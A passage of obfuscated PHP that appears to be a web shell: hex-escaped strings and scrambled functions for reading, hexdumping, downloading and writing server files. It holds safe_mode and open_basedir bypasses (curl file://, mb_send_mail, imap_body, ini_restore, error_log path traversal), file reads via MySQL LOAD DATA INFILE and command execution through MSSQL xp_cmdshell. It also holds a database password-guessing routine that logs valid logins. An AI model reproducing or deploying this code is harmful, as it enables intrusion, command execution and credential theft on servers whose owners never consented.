"\x20\167\x69\x64\164\x68\75\42" . $w . "\42" : '') . ($h != '' ? "\x20\150\x65\151\x67\150\164\75\x22" . $h . "\x22" : '') . "\x20\142\x6f\x72\144\145\162\x3d\42\x30\42\x20\163\x74\x79\x6c\145\x3d\42\142\157\162\144\x65\162\72\40\61\x70\x78\40\x73\x6f\154\x69\144\40\x23\104\x44\104\104\x44\104\73\x22\x3e" . z5j() . z9x(2); } else { @ob_clean(); @header("\103\157\156\164\x65\x6e\164\55\164\171\x70\145\72\40" . $mime); echo $r; die; } break; case "\150\145\x78": if (!@isset($hexdump_type)) { $hexdump_type = ''; } if ($hexdump_type == "\146\x75\154\x6c") { $str = $r; } else { $str = @substr($r, 0, 16 * 24); } $n = 0; $a0 = $a1 = $a2 = ''; $ofs = 0; $len = @strlen($str); for ($i = 0; $i < $len; $i++) { $a1 .= @sprintf("\45\x30\x32\130", @ord($str[$i])) . z9c(); if (@ord($str[$i]) == 0) { $a2 .= z5i("\x30"); } elseif (@ord($str[$i]) >= 32 && @ord($str[$i]) <= 126) { $a2 .= @htmlspecialchars($str[$i]); } else { $a2 .= "\x2e"; } $n++; if ($n == 24 || $i + 1 == $len && !@is_int($len / 24)) { $n = 0; $a0 .= @sprintf("\x25\x30\x38\130", $ofs) . z9x(); $a1 .= z9x(); $a2 .= z9x(); $ofs += 24; } } echo z10e(z9f(z6x(z10e(z7i(z9j($a0, "\61\66") . z9j($a1, "\x31\67") . z9j($a2, "\x31\x38")), "\x38") . z10e(z9f(z7e(z5c(array("\141\x63\x74" => "\146", "\x64", "\x66", "\x66\x74", "\150\x65\x78\x64\165\x6d\160\137\164\x79\160\145" => $hexdump_type == "\146\165\154\x6c" ? "\160\162\x65\166\151\145\x77" : "\146\165\x6c\154"), z8v($hexdump_type == "\146\x75\x6c\x6c" ? z9s("\61\62\x32") : z9s("\61\x32\x31"), "\67")))), "\70"))), "\62"); break; case "\x64\157\x77\156\154\x6f\x61\x64": @ob_clean(); @header("\x43\x6f\156\x74\x65\156\x74\55\x74\171\160\x65\72\40\141\160\160\x6c\151\x63\141\164\151\x6f\156\x2f\157\143\164\145\164\x2d\163\x74\162\145\141\x6d"); @header("\103\157\156\x74\x65\156\164\x2d\x64\x69\163\x70\x6f\163\151\x74\151\157\x6e\x3a\x20\141\x74\x74\x61\x63\150\x6d\145\156\164\73\x20\x66\151\x6c\x65\x6e\141\x6d\145\75\x22" . $f . "\x22\x3b"); echo $r; die; break; default: break; } } else { if (!@isset($loadb)) { $loadb = 0; } $rbut = z5c($back_form_actions, z8v(z9s("\64\x37\x30"), "\67")); if (@empty($f)) { echo z2b(z9s("\x34\x36\x39") . $fmsg . z9c(5) . $rbut); } else { switch ($ft) { case "\x6e\145\x77": if (!z4q($d . $f) && z4j($d) && !z0v($d)) { $loadb = 1; } elseif (!z4q($d . $f)) { $loadb = 1; } elseif (z4q($d . $f) && z4j($d . $f)) { echo z2b(z9s("\x34\x36\x38", $d . $f) . z9c(5) . $rbut); } elseif (z4q($f) && z4j($f)) { echo z2b(z9s("\x34\x36\x38", $f) . z9c(5) . $rbut); } break; default: if (z4q($d . $f) && z4j($d . $f)) { echo z2b(z9s("\x34\66\70", $d . $f) . z9c(5) . $rbut); } elseif (z4q($f) && z4j($f)) { echo z2b(z9s("\64\x36\x38", $f) . z9c(5) . $rbut); } elseif (!z4q($d . $f) && z4j($d) && z0v($d) && @strpos($f, "\57") === false) { echo z2b(z10e(z7i(z9j(z8e(z9s("\x34\66\x36", $d . $f)) . z5c(array("\141\143\x74" => "\146", "\144", "\x66", "\146\x74" => "\x6e\x65\167"), z8v(z9s("\x31\71\x35"), "\x37")) . $rbut)), "\62")); } else { $loadb = 1; } break; } } if ($loadb) { z1q($d . $f); $rf_arr = $sqlrf_arr = $wf_arr = array(); $rf_arr["\151\156\x63\154\165\144\145"] = "\151\156\x63\x6c\165\144\145\40\50\163\141\x66\145\x5f\155\x6f\144\145\x29"; if ($bcurl && @version_compare(@phpversion(), "\65\x2e\x32\56\60") <= 0) { $rf_arr["\143\165\162\154"] = "\x63\x75\x72\x6c\x20\50\x6f\160\x65\156\137\142\141\x73\x65\x64\151\162\x20\x2f\x20\120\x48\120\40\x3c\x3d\x20\x34\56\64\x2e\62\x2c\x20\65\x2e\61\x2e\64\x29"; } if (!$win && z7r("\155\142\137\x73\x65\x6e\144\137\155\141\151\154") && @version_compare(@phpversion(), "\x35\x2e\x32\x2e\x30") <= 0) { $rf_arr["\x6d\142\x5f\x73\145\156\x64\137\x6d\x61\151\154"] = "\155\x62\137\163\x65\156\x64\137\155\141\x69\x6c\x20\50\163\x61\146\x65\137\x6d\157\x64\x65\x20\57\x20\120\x48\120\40\x3c\x3d\x20\64\56\x30\x2d\x34\x2e\62\x2e\62\x2c\x20\65\x2e\x78\51"; } if (z7r("\x69\155\x61\160\137\x6f\x70\x65\x6e") && z7r("\x69\x6d\x61\x70\137\142\x6f\144\x79") && @version_compare(@phpversion(), "\x35\56\62\x2e\x30") <= 0) { $rf_arr["\151\x6d\x61\x70\x5f\x62\x6f\x64\x79"] = "\151\155\141\x70\137\142\157\144\171\40\50\x73\141\146\x65\x5f\x6d\157\x64\145\x20\x6f\156\x20\x50\110\x50\40\74\75\x20\65\56\x31\56\x32\x29"; } if (z7r("\151\x6e\x69\137\162\145\163\x74\x6f\x72\145") && @version_compare(@phpversion(), "\65\x2e\62\x2e\x30") <= 0) { $rf_arr["\151\156\x69\137\x72\x65\163\164\157\162\145"] = "\151\x6e\x69\x5f\x72\x65\x73\x74\157\162\x65\40\50\163\141\146\145\x5f\155\x6f\144\145\40\x2f\x20\x50\110\x50\40\x3c\x3d\40\x34\56\64\56\x34\x2c\x20\65\56\x31\56\x36\x29\40\142\171\x20\116\x53\x54"; } if (z7r("\x63\157\x70\171") && @version_compare(@phpversion(), "\x35\56\x32\56\60") <= 0) { $rf_arr["\172\x6c\x69\x62"] = "\143\157\x70\x79\x5b\x63\x6f\155\160\x72\145\x73\x73\56\172\x6c\x69\142\72\x2f\x2f\x5d\40\50\163\x61\146\x65\x5f\155\x6f\144\145\40\x2f\40\x50\x48\120\40\x3c\75\x20\64\x2e\x34\56\x32\54\x20\x35\x2e\x31\x2e\x32\51"; } if ($bmysql) { $sqlrf_arr["\x6d\x79\163\161\154"] = "\x6d\171\163\x71\154\x20\50\x73\141\x66\x65\x5f\x6d\x6f\144\x65\51"; } if ($bmssql) { $sqlrf_arr["\x6d\163\163\161\x6c"] = "\x6d\x73\x73\x71\154\x20\50\163\x61\x66\145\137\155\x6f\x64\x65\51"; } if (z7r("\x65\162\162\x6f\x72\x5f\x6c\157\x67") && @version_compare(@phpversion(), "\65\x2e\x32\x2e\62") <= 0) { $wf_arr["\x65\162\162\157\x72\x5f\154\x6f\147"] = "\x65\162\x72\157\x72\137\x6c\x6f\147\x5b\160\150\160\72\x2f\57\x5d\x20\x28\x6f\x70\145\156\137\142\x61\163\145\x64\151\x72\40\57\40\x50\110\120\40\74\75\x20\65\56\61\x2e\x34\x2c\40\x34\56\x34\x2e\x32\51"; } if (z7r("\162\x65\141\144\146\x69\x6c\145") && @version_compare(@phpversion(), "\65\x2e\x32\56\62") <= 0) { $wf_arr["\x72\x65\141\x64\146\151\x6c\x65"] = "\162\145\141\x64\146\x69\x6c\145\133\x70\x68\160\72\x2f\x2f\x5d\x20\x28\x6f\160\145\156\137\142\141\x73\x65\x64\x69\162\40\x2f\40\x50\x48\120\40\x3c\75\40\x35\56\x32\56\61\x2c\40\64\x2e\x34\56\x34\51"; } if (@version_compare(@phpversion(), "\65\x2e\62\x2e\64") <= 0) { $wf_arr["\146\157\x70\x65\x6e"] = "\146\157\160\145\156\x5b\x73\162\160\141\164\150\72\x2f\57\135\x20\x28\157\160\x65\x6e\137\142\x61\x73\x65\144\x69\162\40\57\x20\120\x48\x50\40\x76\x35\x2e\62\56\x30\51"; } if (@count($rf_arr) > 0) { echo z2b(z9s("\x31\62\x38")); echo z6d(); echo z5c(array("\x61\143\164" => "\146", "\x64", "\x66" => @isset($readfile) ? $readfile : $d . $f, "\x66\164" => "\146\165\156\143\164\x69\157\156\x73", "\163\165\142\x6d\x69\x74\61" => "\x31"), z10e(z7i(z5t(z9s("\61\x32\x39")) . z9j(z6i("\x72\145\141\x64\146\x69\154\145", @isset($readfile) ? $readfile : $d . $f, "\x30", '', "\71") . z4a("\162\x65\141\144\x66\151\x6c\x65\x5f\x66\165\156\143", $rf_arr, "\x35", 1) . z8v(z9s("\61\x33\x30"), "\x37"))), "\x32")); if (@isset($submit1) && $submit1 && @isset($readfile) && !@empty($readfile)) { echo z9m("\x32") . z7p() . z5t(z9c()) . z7k(); switch ($readfile_func) { case "\x69\156\143\x6c\165\x64\145": echo z5w('', "\x31"); @(include $readfile); echo z5q(); break; case "\143\x75\162\154": echo z5w('', "\61"); $ci = @curl_init("\x66\x69\x6c\145\x3a\57\x2f" . $readfile); $cf = @curl_exec($ci); echo @htmlspecialchars($cf); echo z5q(); break; case "\x6d\142\x5f\163\145\x6e\144\137\155\x61\x69\x6c": echo z5w('', "\61"); $temp = tempnam($d, "\146\156\141\x6d\x65"); if (@file_exists($temp)) { @unlink($temp); } $extra = "\55\x43\40" . $readfile . "\40\55\x58\40{$temp}"; @mb_send_mail(NULL, NULL, NULL, NULL, $extra); $str = z9p($temp); echo @htmlspecialchars($str); echo z5q(); @unlink($temp); break; case "\151\155\x61\160\137\142\x6f\x64\171": echo z5w('', "\x31"); $stream = @imap_open($readfile, '', ''); $str = @imap_body($stream, 1); echo @htmlspecialchars($str); @imap_close($stream); echo z5q(); break; case "\151\156\151\137\x72\145\x73\x74\157\162\x65": @ini_restore("\x73\x61\146\145\x5f\155\157\144\145"); @ini_restore("\x6f\x70\x65\x6e\137\142\x61\163\145\144\151\162"); $str = z9p($readfile); echo z5w('', "\x31") . @htmlspecialchars($str) . z5q(); break; case "\172\x6c\151\x62": $str = z9o($readfile); echo z5w('', "\x31") . @htmlspecialchars($str) . z5q(); break; } echo z7g() . z7u() . z10w(); } echo z6d(); } if (@count($sqlrf_arr) > 0) { echo z2b(z9s("\61\63\61")); echo z6d(); echo z5c(array("\x61\143\x74" => "\x66", "\x64", "\146" => @isset($readfile) ? $readfile : $d . $f, "\146\164" => "\x66\x75\x6e\x63\x74\151\157\x6e\x73", "\x73\165\142\x6d\x69\164\x32" => "\x31"), z10e(z7i(z5t(z9s("\61\62\71")) . z9j(z6i("\162\145\x61\x64\146\151\x6c\x65", @isset($readfile) ? $readfile : $d . $f, "\x30", '', "\x39") . z4a("\163\161\154\162\145\141\x64\x66\151\154\x65\x5f\x66\165\x6e\x63", $sqlrf_arr, "\65", 1) . z8v(z9s("\61\x33\60"), "\67"))) . z7i(z5t(z9s("\61\63\x32")) . z9j(z5u("\163\161\154\165\x73\145\162", "\162\157\157\x74", "\64", '', "\71") . z9c(2) . z8e(z9s("\61\63\63")) . z5u("\163\x71\x6c\160\141\163\163", '', "\x34") . z9c(2) . z8e(z9s("\x31\63\x34")) . z5u("\163\161\x6c\160\x6f\162\164", "\63\x33\60\66", "\61") . z9c(2) . z8e(z9s("\x31\x33\65")) . z5u("\x73\161\x6c\x64\x62", "\x6d\x79\x73\x71\154", "\64"))), "\x32")); if (@isset($submit2) && $submit2 && @isset($readfile) && !@empty($readfile) && @isset($sqluser) && @isset($sqlpass) && @isset($sqlport) && @isset($sqldb)) { echo z9m("\62") . z7p() . z5t(z9c()) . z7k(); switch ($sqlreadfile_func) { case "\x6d\171\163\161\x6c": echo z5w('', "\x31"); if (@empty($sqlport)) { $sqlport = "\x33\63\x30\66"; } $db = @mysql_connect("\x6c\x6f\143\141\x6c\150\x6f\x73\164\x3a" . $sqlport, $sqluser, $sqlpass); if ($db) { if (@mysql_select_db($sqldb, $db)) { @mysql_query("\104\122\117\120\40\124\x41\x42\x4c\105\40\111\106\x20\105\130\111\x53\x54\x53\x20\x74\x65\155\160\x5f\x6d\171\163\x71\x6c\x5f\162\x65\x61\144\146\x69\154\x65\x5f\x74\141\x62\154\145"); @mysql_query("\103\x52\105\x41\124\x45\40\x54\101\x42\114\x45\x20\140\164\145\x6d\160\x5f\155\x79\163\x71\154\x5f\162\x65\x61\144\146\x69\x6c\145\137\x74\141\x62\154\x65\140\40\x28\40\140\x66\x69\x6c\145\140\x20\114\x4f\x4e\107\102\x4c\117\102\x20\116\117\124\x20\116\x55\114\x4c\x20\51"); @mysql_query("\x4c\117\x41\104\40\104\101\124\x41\40\111\116\106\x49\114\x45\x20\x22" . $readfile . "\42\40\x49\x4e\124\x4f\40\124\x41\x42\114\105\40\x74\x65\x6d\x70\137\x6d\x79\x73\x71\x6c\x5f\x72\x65\141\144\146\x69\x6c\145\x5f\164\141\142\x6c\x65"); $r = @mysql_query("\x53\x45\114\105\103\124\x20\52\40\x46\122\117\x4d\x20\164\145\x6d\x70\137\x6d\x79\x73\x71\154\x5f\x72\145\141\x64\146\151\x6c\x65\137\164\x61\x62\154\145"); while (($r_sql = @mysql_fetch_array($r)) !== false) { echo @htmlspecialchars($r_sql[0]) . "\xd\xa"; } @mysql_query("\x44\x52\x4f\x50\x20\x54\101\x42\114\105\x20\111\106\40\105\130\111\123\124\123\x20\164\145\155\x70\x5f\155\171\163\161\154\x5f\x72\145\x61\x64\146\151\x6c\145\137\x74\x61\x62\x6c\x65"); } else { echo z9s("\61\x33\x36"); } @mysql_close($db); } else { echo z9s("\x31\63\67", "\x4d\171\123\x51\114"); } echo z5q(); break; case "\x6d\x73\x73\x71\154": echo z5w('', "\61"); if (@empty($sqlport)) { $sqlport = "\61\x34\63\x33"; } $db = @mssql_connect("\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74\54" . $sqlport, $sqluser, $sqlpass); if ($db) { if (@mssql_select_db($sqldb, $db)) { @mssql_query("\x64\162\x6f\160\x20\164\141\142\x6c\145\x20\x6d\x73\163\161\154\137\162\145\x61\144\x66\151\x6c\145\x5f\164\145\155\x70\x5f\164\x61\142\154\145", $db); @mssql_query("\x63\x72\x65\x61\164\x65\40\164\x61\142\x6c\145\x20\155\163\x73\161\154\137\162\145\141\x64\146\151\154\145\x5f\164\145\x6d\160\x5f\164\x61\x62\154\145\x20\x28\40\163\x74\x72\151\156\x67\40\126\x41\x52\103\110\101\x52\40\50\65\x30\60\x29\40\x4e\x55\x4c\114\51", $db); @mssql_query("\151\156\x73\x65\162\x74\40\151\x6e\164\x6f\x20\x6d\163\x73\161\154\x5f\x72\145\141\x64\x66\151\x6c\145\x5f\x74\145\x6d\160\x5f\x74\x61\x62\x6c\x65\40\x45\x58\105\103\x20\x6d\x61\x73\164\145\162\x2e\x64\x62\157\56\x78\x70\x5f\x63\155\144\x73\150\145\x6c\154\x20\47" . $readfile . "\x27", $db); $res = @mssql_query("\163\x65\x6c\145\143\x74\40\x2a\x20\x66\x72\157\155\40\155\163\x73\x71\x6c\x5f\162\145\141\x64\x66\x69\154\x65\137\x74\145\x6d\160\137\164\141\142\154\x65", $db); while (($row = @mssql_fetch_row($res)) !== false) { echo @htmlspecialchars($row[0]) . "\xd\xa"; } @mssql_query("\144\162\x6f\x70\40\x74\x61\x62\154\145\x20\x6d\163\x73\x71\x6c\137\162\x65\141\x64\146\x69\x6c\x65\x5f\164\145\155\160\137\x74\x61\142\154\x65", $db); } else { echo z9s("\x31\x33\66"); } @mssql_close($db); } else { echo z9s("\x31\x33\x37", "\x4d\x73\123\x51\x4c"); } echo z5q(); break; } echo z7g() . z7u() . z10w(); } echo z6d(); } if (@count($wf_arr) > 0) { echo z2b(z9s("\61\x33\x38")); echo z6d(); echo z5c(array("\141\x63\164" => "\x66", "\144", "\146" => @isset($writefile) ? $writefile : $d . $f, "\146\164" => "\x66\x75\156\x63\x74\151\x6f\x6e\x73", "\x73\165\142\155\x69\164\x33" => "\61"), z10e(z7i(z5t(z9s("\x31\x33\71")) . z9j(z5u("\x77\162\x69\x74\145\x66\151\x6c\145", $d . $f, "\x30", '', "\x39") . z4a("\167\x72\151\x74\145\146\x69\154\x65\137\x66\x75\156\x63", $wf_arr, "\65", 1) . z8v(z9s("\x31\x34\61"), "\67"))) . z7i(z5t(z9s("\x31\x34\60")) . z9j(z5w("\x77\x72\x69\164\145\x63\157\x6e\164\x65\156\x74", "\x31") . (@isset($writecontent) ? @htmlspecialchars($writecontent) : "\x3c\x3f\40\x70\x68\160\x69\x6e\146\x6f\x28\51\x3b\x20\77\76") . z5q())), "\62")); if (@isset($submit3) && $submit3 && @isset($writefile) && !@empty($writefile)) { echo z9m("\x32") . z6g() . z5t(z9c()) . z7k(); switch ($writefile_func) { case "\145\x72\162\x6f\x72\137\x6c\157\x67": @error_log($writecontent, 3, "\160\x68\x70\x3a\x2f\x2f\x2e\x2e\x2f\x2e\x2e\x2f\56\x2e\x2f\56\56\x2f\56\56\57\x2e\56\57\x2e\56\x2f\x2e\56\x2f\56\56\57\56\56\x2f\x2e\x2e\x2f" . $writefile); if (z4q($writefile)) { echo z9s("\x32\64\63"); } break; case "\162\145\141\144\146\151\154\x65": @readfile($writecontent, 3, "\160\x68\x70\72\x2f\57\56\x2e\57\x2e\x2e\57\x2e\x2e\57\x2e\x2e\57\56\x2e\x2f\x2e\56\57\56\x2e\57\x2e\56\x2f\56\56\57\x2e\56\57\x2e\56\x2f" . $writefile); if (z4q($writefile)) { echo z9s("\x32\64\63"); } break; break; case "\146\x6f\160\x65\x6e": if ($fp = @fopen("\163\162\160\x61\x74\x68\x3a\57\x2f\56\x2e\57\56\x2e\57\56\x2e\57\56\x2e\57\56\56\57\x2e\x2e\x2f\56\x2e\57\x2e\56\x2f\56\x2e\57\x2e\56\57\56\x2e\57" . $writefile, "\x61")) { @fputs($fp, $writecontent); @fclose($fp); echo z9s("\x32\x34\63"); } break; default: break; } echo z7g() . z7u() . z10w(); } echo z6d(); } } } } goto EFPMm; jlnKn: function z2o($s, $e, $d = '') { global $nogradient; if (@isset($nogradient) && $nogradient) { return "\x62\141\x63\x6b\x67\x72\157\x75\x6e\144\72\x20" . ($d == '' ? $s : $e) . "\x3b"; } return "\142\141\x63\x6b\x67\x72\157\x75\156\x64\x3a\40" . ($d == '' ? $s : $e) . "\73\xa\146\151\x6c\164\145\162\x3a\40\x70\x72\157\x67\x69\x64\x3a\104\x58\x49\155\x61\x67\x65\124\162\x61\x6e\163\146\x6f\162\155\56\115\x69\x63\162\x6f\163\x6f\146\x74\x2e\x67\162\141\144\x69\145\x6e\x74\50\163\164\x61\162\x74\x43\x6f\x6c\x6f\x72\163\x74\162\75\47" . $s . "\x27\x2c\40\145\x6e\x64\103\157\x6c\157\x72\163\164\x72\75\x27" . $e . "\x27\51\x3b\12\x62\x61\143\x6b\x67\x72\157\x75\156\x64\x3a\40\x2d\167\145\142\153\x69\164\55\147\162\141\x64\x69\145\156\x74\x28\x6c\151\x6e\x65\x61\162\x2c\x20\x6c\x65\x66\x74\x20\164\x6f\160\54\40\x6c\x65\146\x74\40\142\157\164\x74\x6f\155\x2c\x20\x66\162\157\155\x28" . $s . "\51\54\x20\164\157\50" . $e . "\x29\x29\x3b\12\x62\141\x63\x6b\x67\x72\x6f\165\x6e\144\x3a\40\x2d\155\x6f\172\55\x6c\x69\x6e\145\141\162\x2d\147\x72\x61\x64\x69\x65\x6e\x74\50\x74\157\160\54\x20" . $s . "\x2c\40" . $e . "\51\x3b\12\x62\141\143\x6b\147\162\x6f\165\x6e\144\72\x20\55\x6f\55\154\x69\x6e\x65\141\x72\x2d\147\x72\141\x64\151\145\x6e\x74\50\164\x6f\160\x2c\40" . $s . "\x2c\40" . $e . "\x29\x3b\12"; } goto wkilY; UO5J7: function z1a($t) { $t = z1i($t); if (@substr($t, -1) != "\57") { $t .= "\x2f"; } if (@preg_match("\57\133\136\x5c\x2f\x5c\162\134\156\42\47\135\x2b\134\57\134\x2e\x5c\x2e\134\x2f\x2f", $t)) { $t = @preg_replace("\57\x5b\x5e\x5c\x2f\x5c\x72\x5c\x6e\x22\x27\x5d\53\x5c\57\x5c\x2e\x5c\56\x5c\57\x2f", '', $t); } if ($t == "\x2f\56\56\57") { $t = "\x2f"; } if ($t != "\x2e\x2f" && @strstr($t, "\x2e\57") !== false) { $t = @str_replace("\x2e\57", '', $t); } return $t; } goto UZyZd; tADMf: function z0m($tt, $t = '') { global $use_buffer, $bcopy, $bcut, $with_ls, $showbuf; $a = array(); $a["\x63\150\144\x69\x72"] = z9s("\x34\x32\65"); $a["\146\165\x6e\143\x74\x69\x6f\156\x73"] = z9s("\x37\x34"); if ($use_buffer && (!@isset($with_ls) || !$with_ls)) { $a["\142\x63\157\160\x79"] = @in_array($tt, $bcopy) ? z9s("\x36\x39") : z9s("\x36\x37"); $a["\142\x63\x75\164"] = @in_array($tt, $bcut) ? z9s("\x37\60") : z9s("\x36\70"); if (!@isset($showbuf) || !$showbuf) { if (@count($bcopy) > 0) { $a["\x62\160\x61\163\x74\145\x63\x6f\x70\x79"] = z9s("\65\x34"); } if (@count($bcut) > 0) { $a["\142\160\x61\x73\x74\145\143\x75\x74"] = z9s("\65\65"); } if (@count($bcopy) > 0 && @count($bcut) > 0) { $a["\142\160\x61\x73\164\x65\141\154\x6c"] = z9s("\65\x36"); } } } $a["\162\145\156\141\x6d\x65"] = z9s("\x37\x33"); $a["\144\145\x6c\145\x74\145"] = z9s("\x37\x32"); return z5c(array("\141\143\x74" => "\x64", "\144", "\164\x74" => $tt, "\x73\x68\x6f\x77\x62\165\146"), z4a("\x64\x74", $a, "\63") . z8v("\46\162\141\161\x75\x6f\73", "\66"), $t); } goto sUB3p; i2NpH: function z0y($p) { $r = ''; for ($i = 0; $i < @strlen($p); ++$i) { $r .= "\x25" . @dechex(@ord($p[$i])); } return @strtoupper($r); } goto RYSgm; u0Aqi: function z0u($n) { if (@isset($_SESSION[$n])) { unset($_SESSION[$n]); } } goto dUNL1; kzLs2: if (@isset($_SESSION["\164\x6d\x70\163"])) { $tmps = $_SESSION["\164\155\160\163"]; } else { $tmps = z6k(); $_SESSION["\164\155\x70\163"] = $tmps; } goto HyKDh; vFV3s: function z5s($path, $wildcards, $recursive, $find = false) { global $nix, $sh_exec; $ar_f = $ar_w = array(); $path = @trim($path); $path = z1a($path); if (z4j($path)) { $tmpw = @explode("\x3b", $wildcards); if (@count($tmpw) > 0) { foreach (@array_unique($tmpw) as $tmp) { $tmp = @trim($tmp); if (!@empty($tmp) && !@in_array($tmp, $ar_w)) { $ar_w[] = $tmp; } } if (@count($ar_w) > 0) { if ($find) { if ($nix && $sh_exec) { if (!@is_numeric($recursive) || $recursive == "\60") { $recursive = 1; } else { $recursive++; } $searchres = ''; foreach ($ar_w as $tmpw) { $searchres .= z9t("\146\151\156\144\x20\x22" . $path . "\42\40\x2d\x6d\x61\x78\144\x65\160\164\x68\40" . $recursive . "\40\x2d\x74\x79\x70\x65\40\146\x20\55\156\141\155\145\x20\x22" . $tmpw . "\42"); } if ($searchres != '') { $tmpres = @explode("\12", $searchres); $searchres = ''; foreach (@array_unique($tmpres) as $tmp_f) { $tmp_f = @trim($tmp_f); if (!@in_array($tmp_f, $ar_f)) { $ar_f[] = $tmp_f; } } } } } else { $fpaths = $tpaths = $spaths = array(); $tpath = ''; $tpaths[] = ''; if (@is_numeric($recursive) && $recursive > 0) { for ($i = 0; $i < $recursive; $i++) { $tpath .= "\x2a\57"; $tpaths[] = $tpath; } } foreach (@array_unique($tpaths) as $tpath) { foreach (@array_unique($ar_w) as $fpath) { $fpath = @trim($fpath); if (!@empty($fpath)) { $fpaths[] = $tpath . $fpath; } } } foreach (@array_unique($fpaths) as $fpath) { $spaths[] = $path . $fpath; } unset($fpaths); unset($tpaths); foreach ($spaths as $spath) { $tglob = @glob($spath); if (@count($tglob) > 0) { foreach ($tglob as $tfile) { if (!@in_array($tfile, $ar_f)) { $ar_f[] = $tfile; } } } } unset($spaths); } } } } return @array_unique($ar_f); } goto ccX5v; fkfMc: function z5x($a = '', $c = '', $s = '') { return "\74\144\151\x76" . ($a != '' ? "\x20\141\x6c\x69\147\156\75\42" . $a . "\x22" : '') . ($c != '' ? "\40\x63\x6c\141\x73\163\x3d\x22" . z4m($c, "\x33") . "\x22" : '') . ($s != '' ? z10t($s) : '') . "\76"; } goto PsY5v; KId1L: $win = $nix = $linux = 0; goto s1PZu; PC7H5: function z2e($host, $port, $dbtype, $try1, $try2, $try3, $try4, $user, $pass = NULL, $sqldb = '') { $count = 0; $success = 0; $res = 0; $log = ''; if ($pass != NULL) { $count++; $res = z4u($host, $user, $pass, $port, $dbtype, $sqldb); if ($res == "\x76\141\x6c\x69\144") { echo "\133\53\x5d\40{$user}\72{$pass}\40\x2d\x20\x73\165\143\143\x65\163\x73\15\12"; $log .= "{$dbtype}\x20\55\x20{$host}\72{$port}\40\55\40{$user}\x20{$pass}\xd\12"; $success++; } if ($res != "\166\x61\x6c\151\x64" && $try1 == "\61") { $count++; $res = z4u($host, $user, @strrev($pass), $port, $dbtype, $sqldb); if ($res == "\166\141\154\x69\x64") { echo "\x5b\53\x5d\x20{$user}\x3a" . @strrev($pass) . "\x20\x2d\x20\x73\x75\x63\143\145\x73\163\15\12"; $log .= "{$dbtype}\40\55\40{$host}\72{$port}\x20\x2d\40{$pass}\40" . @strrev($user) . "\xd\xa"; $success++; } if ($res != "\166\x61\x6c\x69\144" && $try4 == "\61") { $count++; $res = z4u($host, $user, z9i(@strrev($pass)), $port, $dbtype, $sqldb); if ($res == "\x76\141\154\151\x64") { echo "\133\53\x5d\40{$user}\x3a" . z9i(@strrev($pass)) . "\40\55\40\x73\165\143\x63\x65\163\163\xd\12"; $log .= "{$dbtype}\x20\55\40{$host}\72{$port}\x20\x2d\40{$user}\x20" . z9i(@strrev($pass)) . "\15\xa"; $success++; } } } if ($res != "\x76\141\x6c\151\x64" && $try2 == "\x31") { $count++; $res = z4u($host, $user, $pass . "\61", $port, $dbtype, $sqldb); if ($res == "\166\141\154\151\144") { echo "\x5b\53\135\x20{$user}\72" . $pass . "\x31\40\55\x20\x73\x75\143\x63\x65\163\x73\xd\12"; $log .= "{$dbtype}\x20\x2d\40{$host}\x3a{$port}\40\55\40{$user}\x20" . $pass . "\x31\15\xa"; $success++; } if ($res != "\x76\x61\x6c\x69\144" && $try4 == "\61") { $count++; $res = z4u($host, $user, z9i($pass . "\x31"), $port, $dbtype, $sqldb); if ($res == "\x76\141\x6c\151\144") { echo "\x5b\x2b\135\40{$user}\x3a" . z9i($pass . "\61") . "\x20\55\x20\x73\x75\143\143\x65\163\x73\15\12"; $log .= "{$dbtype}\x20\x2d\40{$host}\72{$port}\40\55\40{$user}\40" . z9i($pass . "\x31") . "\15\12"; $success++; } } } if ($res != "\166\x61\154\151\144" && $try3 == "\61") { $count++; $res = z4u($host, $user, $pass . "\x31\62\63", $port, $dbtype, $sqldb); if ($res == "\166\141\154\x69\144") { echo "\133\x2b\x5d\40{$user}\72" . $pass . "\61\x32\x33\40\x2d\40\163\x75\x63\143\x65\163\163\xd\12"; $log .= "{$dbtype}\40\55\x20{$host}\x3a{$port}\40\55\40{$user}\x20" . $pass . "\x31\x32\63\15\12"; $success++; } if ($res != "\166\141\x6c\151\x64" && $try4 == "\x31") { $count++; $res = z4u($host, $user, z9i($pass . "\x31\62\x33"), $port, $dbtype, $sqldb); if ($res == "\x76\141\154\x69\x64") { echo "\133\x2b\x5d\x20{$user}\x3a" . z9i($pass . "\61\62\x33") . "\x20\x2d\40\163\x75\x63\143\145\x73\x73\xd\12"; $log .= "{$dbtype}\x20\55\x20{$host}\x3a{$port}\x20\x2d\x20{$user}\40" . z9i($pass . "\x31\62\x33") . "\15\12"; $success++; } } } if ($res != "\166\141\x6c\151\144" && $try4 == "\61") { $count++; $res = z4u($host, $user, z9i($pass), $port, $dbtype, $sqldb); if ($res == "\166\x61\x6c\151\x64") { echo "\133\53\135\40{$user}\72" . z9i($pass) . "\x20\x2d\x20\163\165\x63\x63\x65\x73\163\15\12"; $log .= "{$dbtype}\x20\55\40{$host}\x3a{$port}\x20\x2d\x20{$user}\x20" . z9i($pass) . "\15\xa"; $success++; } } } else { $count++; $res = z4u($host, $user, $user, $port, $dbtype, $sqldb); if ($res == "\x76\141\x6c\x69\144") { echo "\133\53\135\x20{$user}\x3a{$user}\40\x2d\40\163\165\x63\x63\145\x73\x73\xd\xa"; $log .= "{$dbtype}\40\x2d\40{$host}\72{$port}\x20\x2d\40{$user}\x20{$user}\xd\xa"; $success++; } if ($res != "\x76\x61\154\151\x64" && $try1 == "\61") { $count++; $res = z4u($host, $user, @strrev($user), $port, $dbtype, $sqldb); if ($res == "\166\141\x6c\x69\144") { echo "\x5b\x2b\x5d\x20{$user}\x3a" . @strrev($user) . "\x20\x2d\40\163\x75\x63\x63\145\x73\x73\15\xa"; $log .= "{$dbtype}\40\55\x20{$host}\x3a{$port}\40\x2d\40{$user}\40" . @strrev($user) . "\15\12"; $success++; } if ($res != "\166\x61\x6c\x69\144" && $try4 == "\61") { $count++; $res = z4u($host, $user, z9i(@strrev($user)), $port, $dbtype, $sqldb); if ($res == "\x76\141\x6c\151\144") { echo "\x5b\53\135\40{$user}\72" . z9i(@strrev($user)) . "\x20\55\40\163\165\x63\143\x65\163\x73\xd\12"; $log .= "{$dbtype}\x20\55\x20{$host}\x3a{$port}\40\x2d\40{$user}\x20" . z9i(@strrev($user)) . "\15\xa"; $success++; } } } if ($res != "\x76\141\x6c\x69\144" && $try2 == "\61") { $count++; $res = z4u($host, $user, $user . "\61", $port, $dbtype, $sqldb); if ($res == "\166\141\x6c\151\144") { echo "\133\53\135\x20{$user}\72" . $user . "\x31\x20\x2d\x20\x73\x75\x63\x63\145\x73\x73\xd\12"; $log .= 